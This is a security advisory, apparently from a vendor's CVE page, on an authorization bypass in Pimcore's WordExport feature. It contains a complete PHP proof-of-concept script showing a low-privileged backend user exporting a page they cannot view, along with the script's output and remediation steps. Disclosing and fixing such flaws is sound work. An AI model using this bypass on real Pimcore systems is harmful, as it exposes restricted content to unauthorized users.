Summary
Pimcore has a WordExport Authorization Bypass for Unauthorized Document Export
The WordExport export flow only checks whether the current backend user has the feature permission word_export. It does not verify access rights on the target element itself.
As a result, a low-privileged backend user can export document content even when the user does not have view permission on that document.
In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:
POC-WORDEXPORT-TITLEPOC-WORDEXPORT-DESC
Root Cause
The controller only performs a feature-level permission check before starting the export flow:
It then directly resolves the target element from attacker-controlled type/id input:
For document-like elements such as Page and Snippet, it renders content in an admin context:
No object-level authorization check such as isAllowed('view') is enforced on the target element.
Affected Scope
Based on the source code, the following element types may be affected:
pagesnippetemailobject
For page-like documents, the pimcore_admin = true rendering context may expose additional backend-visible content.
Preconditions
- The attacker is an authenticated backend user
- The attacker has the
word_exportpermission - The attacker does not have
viewpermission on the target document
Reproduction Environment
- Reproduction root:
pimcore-12.3.3-repro - Standalone PoC script: poc_wordexport.php
<?php
declare(strict_types=1);
use Pimcore\Bundle\WordExportBundle\Controller\TranslationController as WordExportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\Document\Page;
use Pimcore\Model\User;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
require dirname(__DIR__) . '/vendor/autoload.php';
define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));
try {
\Pimcore\Bootstrap::bootstrap();
$kernel = new \App\Kernel('dev', true);
\Pimcore::setKernel($kernel);
$kernel->boot();
$container = $kernel->getContainer();
/** @var RequestStack $requestStack */
$requestStack = getService($container, [
RequestStack::class,
'request_stack',
]);
$admin = User::getByName('admin');
if (!$admin instanceof User) {
fail('admin user is missing');
}
$auditor = User::getByName('auditor_wordexport');
if (!$auditor instanceof User) {
$auditor = new User();
$auditor->setParentId(0);
$auditor->setName('auditor_wordexport');
}
$auditor->setAdmin(false);
$auditor->setActive(true);
$auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));
$auditor->setPermissions(['word_export']);
$auditor->setRoles([]);
$auditor->setWorkspacesDocument([]);
$auditor->setWorkspacesAsset([]);
$auditor->setWorkspacesObject([]);
$auditor->save();
$page = Page::getByPath('/poc-wordexport-secret-page');
if (!$page instanceof Page) {
$page = new Page();
$page->setParentId(1);
$page->setKey('poc-wordexport-secret-page');
}
$page->setPublished(true);
$page->setController('App\\Controller\\DefaultController::defaultAction');
$page->setTemplate('default/default.html.twig');
$page->setTitle('POC-WORDEXPORT-TITLE');
$page->setDescription('POC-WORDEXPORT-DESC');
$page->setProperty('language', 'text', 'en', false, true);
$page->setUserOwner($admin->getId());
$page->setUserModification($admin->getId());
$page->save();
$canViewPage = $page->getDao()->isAllowed('view', $auditor);
$tokenResolver = buildTokenResolver($auditor);
$controller = wireController(new WordExportController(), $container, $tokenResolver);
$exportId = 'wordexportpoc1';
$exportRequest = new Request([], [
'id' => $exportId,
'data' => json_encode([
['type' => 'document', 'id' => $page->getId()],
], JSON_THROW_ON_ERROR),
'source' => 'en',
]);
$requestStack->push($exportRequest);
$controller->wordExportAction($exportRequest, new Filesystem());
$requestStack->pop();
$downloadRequest = new Request(['id' => $exportId]);
$requestStack->push($downloadRequest);
$downloadResponse = $controller->wordExportDownloadAction($downloadRequest);
$requestStack->pop();
$wordContent = (string) $downloadResponse->getContent();
echo json_encode([
'vulnerability' => 'wordexport_authorization_bypass',
'user' => [
'id' => $auditor->getId(),
'name' => $auditor->getName(),
'permissions' => $auditor->getPermissions(),
],
'target_page' => [
'id' => $page->getId(),
'path' => $page->getFullPath(),
'title' => $page->getTitle(),
'description' => $page->getDescription(),
'user_can_view_page' => $canViewPage,
],
'result' => [
'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),
'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),
],
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
fail(sprintf(
'%s: %s in %s:%d%s',
$e::class,
$e->getMessage(),
$e->getFile(),
$e->getLine(),
$e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
));
}
function wireController(
UserAwareController $controller,
ContainerInterface $container,
TokenStorageUserResolver $tokenResolver
): UserAwareController
{
$controller->setContainer($container);
$controller->setTokenResolver($tokenResolver);
if (method_exists($controller, 'setPimcoreSerializer')) {
/** @var PimcoreSerializer $serializer */
$serializer = getService($container, [
PimcoreSerializer::class,
'Pimcore\\Serializer\\Serializer',
]);
$controller->setPimcoreSerializer($serializer);
}
return $controller;
}
function buildTokenResolver(User $user): TokenStorageUserResolver
{
$tokenStorage = new TokenStorage();
$proxyUser = new SecurityUser($user);
$token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
$tokenStorage->setToken($token);
return new TokenStorageUserResolver($tokenStorage);
}
function getService(ContainerInterface $container, array $ids): mixed
{
foreach ($ids as $id) {
try {
if ($container->has($id)) {
return $container->get($id);
}
} catch (Throwable) {
}
}
fail('Unable to resolve service: ' . implode(', ', $ids));
}
function fail(string $message): never
{
fwrite(STDERR, $message . PHP_EOL);
exit(1);
}
Reproduction Steps
- Create a low-privileged user named
auditor_wordexportwith only theword_exportpermission and no document workspace permissions. - Create a test page at
/poc-wordexport-secret-pagecontaining sensitive values:title = POC-WORDEXPORT-TITLEdescription = POC-WORDEXPORT-DESC
- Verify that the user does not have
viewpermission on that page. - Execute
wordExportAction()andwordExportDownloadAction()as that user. - Check whether the exported HTML contains the sensitive values.
Reproduction command:
cd pimcore-12.3.3-repro
docker compose exec -T php php tools/poc_wordexport.php
Reproduction Result
Relevant PoC output:
{
"vulnerability": "wordexport_authorization_bypass",
"user": {
"name": "auditor_wordexport",
"permissions": [
"word_export"
]
},
"target_page": {
"path": "/poc-wordexport-secret-page",
"title": "POC-WORDEXPORT-TITLE",
"description": "POC-WORDEXPORT-DESC",
"user_can_view_page": false
},
"result": {
"download_contains_title": true,
"download_contains_description": true
}
}
This shows that:
- The user cannot view the target page
- The exported file still contains the page's sensitive content
This confirms that the issue is practically exploitable.
Security Impact
- Unauthorized disclosure of structured page fields
- Unauthorized export of restricted backend content
- Potential exposure of unpublished or otherwise restricted content
- Lateral data access by low-privileged backend accounts
Impact
The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.
CVE-2026-45703 has a CVSS score of 6.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (12.3.7, 11.5.17, 2026.1.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
- Perform object-level authorization immediately after resolving the element from
type/id. - Require at least
viewpermission on the target element. - Apply consistent authorization checks across
page,snippet,email, andobject. - Bind export creation and export download to the requesting user or an equivalent authorization context.
- Add regression tests to ensure that users with
word_exportbut without elementviewpermission cannot export content.
Frequently Asked Questions
- What is CVE-2026-45703? CVE-2026-45703 is a medium-severity incorrect authorization vulnerability in pimcore/pimcore (composer), affecting versions >= 12.0.0-RC1, <= 12.3.6. It is fixed in 12.3.7, 11.5.17, 2026.1.3. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
- How severe is CVE-2026-45703? CVE-2026-45703 has a CVSS score of 6.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of pimcore/pimcore are affected by CVE-2026-45703? pimcore/pimcore (composer) versions >= 12.0.0-RC1, <= 12.3.6 is affected.
- Is there a fix for CVE-2026-45703? Yes. CVE-2026-45703 is fixed in 12.3.7, 11.5.17, 2026.1.3. Upgrade to this version or later.
- Is CVE-2026-45703 exploitable, and should I be worried? Whether CVE-2026-45703 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-45703 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-45703?
- Upgrade
pimcore/pimcoreto 12.3.7 or later - Upgrade
pimcore/pimcoreto 11.5.17 or later - Upgrade
pimcore/pimcoreto 2026.1.3 or later
- Upgrade